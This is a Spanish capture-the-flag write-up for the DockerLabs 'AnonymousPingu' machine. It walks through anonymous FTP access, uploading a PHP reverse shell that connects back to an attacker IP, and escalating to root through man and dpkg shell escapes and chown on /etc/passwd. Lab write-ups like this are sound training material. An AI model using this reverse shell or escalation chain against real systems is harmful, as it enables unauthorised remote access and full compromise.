AnonymousPingu

🚀Preparación del Entorno

El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:

📌 Paso 1: Descargar el archivo CTF

Descarga el archivo ZIP del CTF que deseas utilizar.

📌 Paso 2: Descomprimir el archivo

Ejecuta el siguiente comando en la terminal:

unzip [nombre].zip

📂 Esto extraerá los siguientes archivos:

📌 Paso 3: Ejecutar el script de despliegue

Para iniciar el despliegue de la máquina virtual, ejecuta:

sudo bash auto_deploy.sh [nombre].tar

🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.


🎯 Resolución

🔍Reconocimiento

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

El escaneo revela que los servicios FTP y HTTP están activos. . Además, se confirmó que el servicio FTP permite conexiones anónimas, lo cual podría ser relevante para la investigación

Pasted image 20241118192213.png


🕵️ Análisis de vulnerabilidades

Accedimos al servicio FTP utilizando credenciales anónimas. Al explorar los directorios, identificamos que la carpeta upload cuenta con permisos de ejecución, lo que podría ser aprovechado para subir y ejecutar archivos.
Pasted image 20241118192632.png


🎯 Explotación

Dado que la carpeta uploads tiene permisos de ejecución, procedimos a subir un archivo PHP con una reverse shell básica. El código utilizado fue el siguiente:

<?php

$ip = '192.168.1.112';  // IP de la máquina atacante

$port = 3000;            // Puerto donde el atacante está escuchando

$sock = fsockopen($ip, $port);  // Abre una conexión de socket al atacante

$proc = proc_open('/bin/bash', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);  // Ejecuta bash y redirige la entrada/salida

?>

Luego, en la máquina atacante iniciamos un listener con

nc -lvnp 3000

Ejecutamos el script accediendo a:
http://<IP_servidor>/uploads/reverseshell.php

Una vez obtenemos la reverse shell, es necesario ajustar algunos parámetros para hacerla más manejable. Esto nos permitirá usar combinaciones de teclas como Ctrl+C sin interrumpir la conexión, y también limpiar la pantalla con Ctrl+L.

Para mejorar la experiencia, ejecutamos los siguientes comandos:

script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash

Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:

# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115

📈 Escalada de privilegios

Una vez dentro del sistema, ejecutamos el comando sudo -l para listar los privilegios de sudo del usuario actual. Esto nos permite identificar qué comandos se pueden ejecutar como administrador sin necesidad de proporcionar una contraseña, lo que podría abrir la puerta a una

sudo -l

Identificamos que tenemos permisos para ejecutar el comando man (que muestra las páginas de manual de los comandos del sistema) como el usuario pingu, lo que podría ser aprovechado para escalar privilegios. Al consultar la página GTFOBins, encontramos que usando el siguiente comando podemos obtener privilegios de administrador:
Pasted image 20241118194851.png
Escrbimos el comando y nos abrira como si fuese un manual . Un menú interativo

 sudo -u pingu /usr/bin/man man

Dentro del manual, en este caso abrí el manual del propio comando man, aunque podría haber sido cualquier otro servicio. Al escribir !, se permite ejecutar cualquier comando dentro del menú del manual. Aprovechamos esta funcionalidad para abrir una shell ejecutando el comando !/bin/bash.
Pasted image 20241118200027.png
Ya somos el usuario pingu. Aplicamos nuevamente el comando sudo -l para verificar los siguientes privilegios disponibles y explorar posibles saltos de escalación.
Pasted image 20241118200353.png
Consultamos nuevamente en la página de GTFOBins para ver cómo escalar privilegios utilizando el comando dpkg. Al igual que con man, descubrimos que es posible ejecutar comandos dentro del menú interactivo de dpkg usando el siguiente comando:

 sudo-u glays  /usr/bin/dpkg -l
!/bin/sh

Ya somos el usuario Gladys. Aplicamos nuevamente el comando sudo -l para verificar los privilegios disponibles y explorar posibles escalaciones adicionales.
Pasted image 20241118203107.png
Esta vez, el usuario Gladys puede ejecutar el comando chown como root sin necesidad de contraseña. El comando chown permite cambiar la propiedad de cualquier directorio o archivo, lo que podría ser utilizado para obtener acceso completo a archivos o directorios del sistema.

Entonces, podemos cambiar la propiedad del archivo /etc/passwd, lo que nos permitiría modificarlo y potencialmente añadir un usuario o cambiar contraseñas, escalando así nuestros privilegios en el sistema.

cat /etc/passwd

Los x indican que el usuario debe proporcionar la contraseña para acceder. Ahora que somos propietarios de ese archivo, podemos modificarlo. Para ello, copiamos el archivo /etc/passwd, lo editamos y eliminamos el x del usuario root. Esto permitiría acceder a la cuenta root sin necesidad de contraseña.
Pasted image 20241118203415.png
Hacemos lo siguiente:

echo '[el contenido del bloc de notas]' > /etc/passwd

De esta manera, sobrescribimos el archivo /etc/passwd con los cambios realizados y obtenemos acceso como root, ya que eliminamos la contraseña del usuario root.

¡Ya somos root!

Pasted image 20241118204115.png